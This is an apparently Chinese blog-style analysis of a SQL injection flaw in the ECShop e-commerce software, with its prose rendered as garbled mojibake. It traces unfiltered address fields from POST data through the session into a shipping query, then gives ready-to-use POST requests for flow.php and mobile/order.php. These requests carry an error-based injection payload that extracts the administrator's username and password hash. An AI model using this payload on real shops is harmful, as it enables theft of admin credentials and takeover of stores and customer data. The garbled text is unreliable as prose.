ecshopÈ«°æ±¾×¢Èë·ÖÎö
ǰ¶Îʱ¼ä´ó¸Å2012ÄêÊ¥µ®½Ú×óÓÒ£¬ÔÚt00lsÉÏ¿´¼ûecshopÈ«°æ±¾×¢È룬µ±Ê±Ò²ÏÂÔØÁË×îеijÌÐò·ÖÎöÁËÏÂ,×î½ü¿¼ÊԱȽÏæ£¬½ñÌì¸Õ¿¼Í꣬°ÑÎÒ·ÖÎöµÄ¼Ç¼ÏÂÀ´¡£Â©¶´¹Ø¼üÎļþ£º
/includes/lib_order.php
¹Ø¼üº¯Êý£º
01 function available_shipping_list($region_id_list)
02 {
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
10
11 return $GLOBALS['db']->getAll($sql);
12 }
ÏÔÈ»¶Ô´«ÈëµÄ²ÎÊýûÓÐÈκιýÂ˾ʹøÈëÁ˲éѯÓï¾ä¡£
ÏÂÃæÎÒÃÇ×·×ÙÕâ¸öº¯ÊýÔÚflow.phpÖУº
µÚ531ÐУº
1 $shipping_list = available_shipping_list($region);
ÔÙ¶Ô´«Èë±äÁ¿½øÐÐ×·×Ù£º
µÚ530ÐУº
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
µÚ473ÐУº
1 $consignee = get_consignee($_SESSION['user_id']);
µ½ÁËÒ»¸ö¹Ø¼üº¯Êý£º
/includes/lib_order.php
01 function get_consignee($user_id)
02 {
03 if (isset($_SESSION['flow_consignee']))
04 {
05 /* Èç¹û´æÔÚsession£¬ÔòÖ±½Ó·µ»ØsessionÖеÄÊÕ»õÈËÐÅÏ¢ */
06
07 return $_SESSION['flow_consignee'];
08 }
09 else
10 {
11 /* Èç¹û²»´æÔÚ£¬ÔòÈ¡µÃÓû§µÄĬÈÏÊÕ»õÈËÐÅÏ¢ */
12 $arr = array();
13
14 if ($user_id > 0)
15 {
16 /* ȡĬÈϵØÖ· */
17 $sql = "SELECT ua.*".
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
20
21 $arr = $GLOBALS['db']->getRow($sql);
22 }
23
24 return $arr;
25 }
26 }
ÏÔÈ»Èç¹û isset($_SESSION['flow_consignee']´æÔÚ¾ÍÖ±½ÓʹÓᣵ½µ×´æ²»´æÔÚÄØ£¿
¹Ø¼üµã:
µÚ400ÐУº $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
ÕâÀï¶Ô´«Èë²ÎÊý·´×ªÒå´æÈë$_SESSIONÖС£
È»ºó¿´Ï£º
01 $consignee = array(
02 'address_id' => empty($_POST['address_id']) ? 0:intval($_POST['address_id']),
03 'consignee' => empty($_POST['consignee'])? '' : trim($_POST['consignee']),
04 'country' => empty($_POST['country']) ? '' :$_POST['country'],
05 'province' => empty($_POST['province']) ? '' :$_POST['province'],
06 'city' => empty($_POST['city']) ? '' :$_POST['city'],
07 'district' => empty($_POST['district']) ? '' :$_POST['district'],
08 'email' => empty($_POST['email']) ? '' :$_POST['email'],
09 'address' => empty($_POST['address']) ? '' :$_POST['address'],
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
13 'sign_building' => empty($_POST['sign_building']) ? '' :$_POST['sign_building'],
14 'best_time' => empty($_POST['best_time'])? '' :$_POST['best_time'],
15 );
ºÃÁË×¢Èë¾ÍÕâÑù³öÏÖÁË¡£
==================
×¢Èë²âÊÔ£º
»·¾³:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
²âÊÔ³ÌÐò£ºECShop_V2.7.3_UTF8_release1106
1.Ê×ÏÈÐèÒªµã»÷Ò»¸öÉÌÆ·¼ÓÈ빺Îï³µ
2.×¢²áÒ»¸ö»áÔ±ÕʺÅ
3.postÌá½»Êý¾Ý
1 http://127.0.0.1/ecshop/flow.php
2
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
¾ÙÒ»·´Èý£¬ÎÒÃǸù¾ÝÕâ¸ö©¶´ÎÒÃÇ¿ÉÒÔ¼ÌÐøÉîÈëÍÚ¾ò£º
ÎÒÃÇËÑѰ¹Ø¼üº¯Êýfunction available_shipping_list()
ÔÚÎļþ/moblie/order.phpÖгöÏÖÓУ¬´ÎÎļþΪÊÖ»úä¯ÀÀÎļþ¹¦ÄÜ»ù±¾ºÍflow.phpÏàͬ£¬´úÂëÁ÷³Ì»ù±¾Ïàͬ
ÀûÓÃexp:
1.µã»÷Ò»¸öÉÌÆ·£¬µã»÷¹ºÂòÉ̱ê
2.µÇ¼»áÔ±ÕʺÅ
3.postÌá½»£º
http://127.0.0.1/ecshop/mobile/order.php
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
Ò³:
[1]